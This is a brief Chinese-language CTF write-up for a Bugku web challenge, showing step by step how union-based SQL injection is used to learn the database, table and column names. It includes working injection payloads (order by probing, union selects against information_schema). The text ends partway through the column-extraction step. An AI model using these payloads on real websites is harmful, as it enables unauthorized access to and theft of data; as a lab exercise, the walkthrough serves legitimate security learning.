题目来源:https://ctf.bugku.com/challenges/detail/id/84.html
参考文章:http://t.csdn.cn/GPx2P
http://t.csdn.cn/Y21UM
解题过程:
一、硬刚法
①向输入框中输入1有结果,输入1’ and 1=1#有结果,输入1’ and 1=2#无结果,判断可以进行SQL注入;
②向输入框中输入1’ order by 1#有结果,输入1’ order by 10#无结果,采用二分法逐个尝试,发现输入1’ order by 4#有结果,输入1’ order by 5#无结果,因此判断结果有四列。输入-1’ union select 1,2,3,4#结果如下,可以看出各个信息对应的位置。
③向输入框中输入-1’ union select database(),2,3,4#得知数据库名为skctf,
输入-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘skctf’),3,4#得知数据库中的表名为fl4g和sc。
④向输入框中输入-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘skctf’ and table_name=‘fl4g’),3,4#得到列名skctf_flag&#